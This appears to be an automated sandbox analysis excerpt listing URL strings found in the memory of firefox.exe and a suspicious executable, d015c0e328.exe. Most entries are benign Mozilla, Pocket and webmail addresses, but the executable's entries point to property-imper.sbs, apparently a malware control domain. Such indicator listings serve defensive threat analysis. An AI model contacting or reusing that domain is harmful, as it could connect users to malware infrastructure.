Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.inte
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHand
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.enabledTypes
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2729096941.00000209A9185000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2731455941.00000209A930D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2858552666.00000209A5920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Parent
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/HighlightsFeed.j
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreCould
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsdiscoverystream.isCollectionDismissiblediscoverystream.region-b
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000019.00000002.2849265731.00000209A4D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2712404213.00000209AFF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000003.2719231877.00000209AFF65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2745476179.00000209AFF66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039263764.00000209AFF67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000019.00000003.2719231877.00000209AFF65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2745476179.00000209AFF66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039263764.00000209AFF67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000003.2629667399.00000209A7D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629038791.00000209A7D20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2870035026.00000209A5F00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2629472889.00000209A7D5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629282682.00000209A7D3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2628849012.00000209A7B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiments/screenshots/schema.jsonasyncEmitManifestE
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/login
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881.browser
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3040511865.00000209B0003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitConfiguration
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2894451888.00000209A85FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.2908707750.00000209A8606000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.3014477171.00000209AB761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comresource://activity-stream/common/Actions.sys.mjsresource:///modules/PartnerLi
Source: firefox.exe, 00000019.00000002.3014477171.00000209AB761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3014477171.00000209AB703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4AD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2849265731.00000209A4D21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://gre/modules/handlers/HandlerList.sys.mj
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sextension/default-theme
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%snewChannel
Source: firefox.exe, 00000019.00000002.2796475486.0000020997ED7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/TelemetryEnvironment.sys.mj
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.2851603582.00000209A5234000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2631622886.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633755546.00000209A5233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2633258763.00000209A521E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: d015c0e328.exe, 0000000A.00000003.2836656383.000000000164D000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.000000000160A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2957610878.0000000000542000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2716099922.000000000054A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2955205423.0000000000568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: d015c0e328.exe, 00000016.00000003.2716869243.000000000054C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/00
Source: d015c0e328.exe, 0000000A.00000003.2746676233.000000000160A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.000000000160A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/8P
Source: d015c0e328.exe, 0000000A.00000003.2746676233.000000000160A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.000000000160A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/D
Source: d015c0e328.exe, 0000000A.00000003.2746676233.000000000160A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.000000000160A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/L0J
